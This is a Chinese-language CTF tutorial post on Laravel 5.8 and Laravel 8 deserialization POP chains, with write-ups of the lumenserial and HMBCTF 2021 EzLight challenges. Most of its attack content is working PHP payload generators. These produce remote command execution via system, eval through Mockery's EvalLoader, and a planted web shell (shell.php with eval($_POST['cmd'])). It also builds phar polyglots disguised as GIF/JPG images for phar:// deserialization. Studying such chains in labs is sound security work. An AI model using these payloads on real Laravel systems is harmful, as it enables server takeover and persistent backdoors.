通过几道CTF题学习Laravel框架

2021年6月9日 295点热度 0人点赞 0条评论

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简介

Laravel是一款比较流行的优秀 PHP 开发框架，通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的，本文分析了Laravel5和Laravel8两个版本的部分利用链，并结合CTF题目来学习Laravel框架

Laravel5.8.x反序列化POP链

安装：其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {    if(isset($_GET['c'])){        $code = $_GET['c'];        unserialize($code);    }    else{        highlight_file(__FILE__);    }    return "Test laravel5.8 pop";});

然后在public目录起一个php服务就可以进行测试了cd /public

php -S 0.0.0.0:port/foo?c=

链一

链的入口是在

laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct(){        $this->events->dispatch($this->event);    }

这里的$this->events和$this->event可控，

这里把$this->events设为含有dispatch方法的Dispatcher类，我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来

public function dispatch($command){        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {            return $this->dispatchToQueue($command);        }        return $this->dispatchNow($command);    }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command){        return $command instanceof ShouldQueue;    }

这里要求$command（即传进来的$this->event）要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可，再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)

{        $connection = $command->connection ?? null;
        $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver和$connection都是可控的，到这里就可以直接构造payload

rce

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace {    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher('system');    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a)));}

eval执行

到这里已经可以调用任意类的任意方法了，但是call_user_func无法执行eval函数，如果我们的system被ban了的话，就需要继续寻找执行任意命令的函数，我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader{    public function load(MockDefinition $definition){        if (class_exists($definition->getClassName(), false)) {            return;        }
        eval("?>" . $definition->getCode());    }}

这里有一个eval函数，这里需要绕过eval上面的if语句，否则直接就return了

$definition变量是MockDefinition类，跟进一下class MockDefinition

{    protected $config;    protected $code;    ...    public function getClassName(){        return $this->config->getName();    }    public function getCode(){        return $this->code;    }}

这里$code，$config可控，但是呢$definition->getClassName()需要一个不存在的类，我们找一个类其getName是可控的，然后构造一个不存在的类即可，如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration{    ...public function getName(){        return $this->name;    }    ...}

payload如下

<?phpnamespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $event){            $this->event = $event;            $this->events = $events;        }    }}namespace Illuminate\Broadcasting{    class BroadcastEvent    {        public $connection;
        public function __construct($connection){            $this->connection = $connection;        }    }}namespace Illuminate\Bus{    class Dispatcher    {        protected $queueResolver;
        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace Mockery\Generator{    class MockDefinition    {        protected $config;        protected $code;
        public function __construct(MockConfiguration $config){            $this->config = $config;            $this->code = '<?php phpinfo();?>';        }    }}
namespace Mockery\Generator{    class MockConfiguration    {        protected $name = "none class";    }}
namespace Mockery\Loader{    class EvalLoader    {        public function load(MockDefinition $definition)        {
        }    }}namespace {    $config = new \Mockery\Generator\MockConfiguration();    $connection = new \Mockery\Generator\MockDefinition($config);    $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);    $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");    $events = new \Illuminate\Bus\Dispatcher($queueResolver);    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);    echo urlencode(serialize($pendingBroadcast));}

利用跳板

如果说靶机禁用了system等函数，我们希望用file_put_contents写shell等双参数的函数呢，这里有一个好的跳板

laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option{    ...    public function filter($callable){        return $this->option()->filter($callable);    }    ...private function option(){        if (null === $this->option) {            /** @var mixed */            $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback，$this->arguments是可控的，但是注意到option的属性是private，无法直接从我们刚刚的call_user_func直接去调用它，但是有许多类似filter的函数里面有调用option的

这里可以直接构造payload

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments){            $this->callback = $callback;            $this->arguments = $arguments;        }    }}namespace {    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a)));}

链二

入口同样是

public function __destruct(){        $this->events->dispatch($this->event);    }

这里转换思路，找某个类没有实现dispatch方法却有__call方法，这里就可以直接调用，找到

laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php



class Validator implements ValidatorContract{    ...public function __call($method, $parameters){        $rule = Str::snake(substr($method, 8));
        if (isset($this->extensions[$rule])) {            return $this->callExtension($rule, $parameters);        }这里的$method是固定的字符串dispatch，传到$rule的时候为空，然后$this->extensions可控跟踪进callExtension方法protected function callExtension($rule, $parameters){        $callback = $this->extensions[$rule];
        if (is_callable($callback)) {            return call_user_func_array($callback, $parameters);

$callback和$parameters可控，于是就可以构造payload了

<?phpnamespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;
        public function __construct($events, $event){            $this->events = $events;            $this->event = $event;        }    }}
namespace Illuminate\Validation{    class Validator{        protected $extensions;        public function __construct($extensions){            $this->extensions = $extensions;        }    }}
namespace{    $b = new Illuminate\Validation\Validator(array(''=>'system'));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');    echo urlencode(serialize($a));}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }}
namespace Illuminate\Validation {    class Validator {        public $extensions;        public function __construct($extensions){            $this->extensions = $extensions;        }    }}
namespace PhpOption {    class LazyOption {        private $callback;        private $arguments;        public function __construct($callback, $arguments) {            $this->callback = $callback;            $this->arguments = $arguments;        }    }}
namespace {    $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);    $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');    print(urlencode(serialize($a)));}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细，链和上面Laravel5.8也差不太多，就不赘述，然后有一条可以phpnfo的，同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct(){        $this->events->dispatch($this->event);    }

这里的$this->events和$this->event可控

同样这里有两种方法，要不使$this->events为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法

要不就使$this->events为某个类，并且该类没有实现dispatch方法却有__call方法，那么就可以调用这个__call方法了

看到

laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters){        return $this->__invoke()->{$method}(...$parameters);    }
    /**     * Resolve the variable.     *     * @return mixed     */    public function __invoke(){        return call_user_func($this->callable);    }

这里的_call会直接调用__invoke，$this->callable也是我们可控的，不过这里只能调用phpinfo，比较鸡肋，payload如下

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }}namespace Illuminate\View {    class InvokableComponentVariable {        protected $callable;        public function __construct($callable){        $this->callable = $callable;    }    }}
namespace {    $b = new Illuminate\View\InvokableComponentVariable('phpinfo');    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);    print(urlencode(serialize($a)));}

因为这里我们只能控制$this->callable，想要rce的话，还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的，但是这里我找了好像没找到，读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller{private function download($url){...        $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化，然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller{    ...protected function doCatchimage(Request $request){        $sources = $request->input($this->config['catcherFieldName']);        $rets = [];
        if ($sources) {            foreach ($sources as $url) {                $rets[] = $this->download($url);            }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller{    ...public function main(Request $request){        $action = $request->query('action');
        try {            if (is_string($action) && method_exists($this, "do{$action}")) {                return call_user_func([$this, "do{$action}"], $request);            } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");$phar = new \Phar("test.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test");//添加要压缩的文件$phar->stopBuffering();

上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight

给了source.zip源码，是laravel框架开发的lightcms，先在本地把环境搭起来先，主要是修改.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request){    ...    $files = array_unique((array) $request->post('file'));        $urls = [];        foreach ($files as $v) {            $image = $this->fetchImageFile($v);

在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

protected function fetchImageFile($url){    if (isWebp($data)) {                $image = Image::make(imagecreatefromwebp($url));                $extension = 'webp';            } else {                $image = Image::make($data);            }

这里的$url可控，这里imagecreatefromwebp因为isWebp的限制无法进入，所以这里的分支是进入Image::make($data);来，我们在此处下一个断点，然后分析一下前面的代码，我们需要在vps上放一个图片的链接，然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

至此结束，这里可以phar反序列化了

用上面的链一即可

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments){            $this->callback = $callback;            $this->arguments = $arguments;        }    }}namespace {    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a)));
    @unlink("test.phar");    $phar = new \Phar("test.phar");//后缀名必须为phar    $phar->startBuffering();    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub    $phar->setMetadata($a);//将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test");//添加要压缩的文件    $phar->stopBuffering();    rename('test.phar','test.jpg');}

上传之后，在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了

参考链接

https://laravelacademy.org/books/laravel-docs-5_7

https://xz.aliyun.com/t/5911

https://www.anquanke.com/post/id/189718#h2-9

https://www.anquanke.com/post/id/231079

实操推荐

PHP反序列化漏洞：（复制链接体验）

https://www.hetianlab.com/expc.doec=ECID172.19.104.182016010714511600001&pk_campaign=weixin-wemedia#stu

戳阅读原文，体验免费靶场！

151200通过几道CTF题学习Laravel框架

通过几道CTF题学习Laravel框架

简介

Laravel5.8.x反序列化POP链

链一

rce

eval执行

利用跳板

链二

利用跳板

Laravel8反序列化POP链

CTF题目

lumenserial

[HMBCTF 2021]EzLight

参考链接

实操推荐

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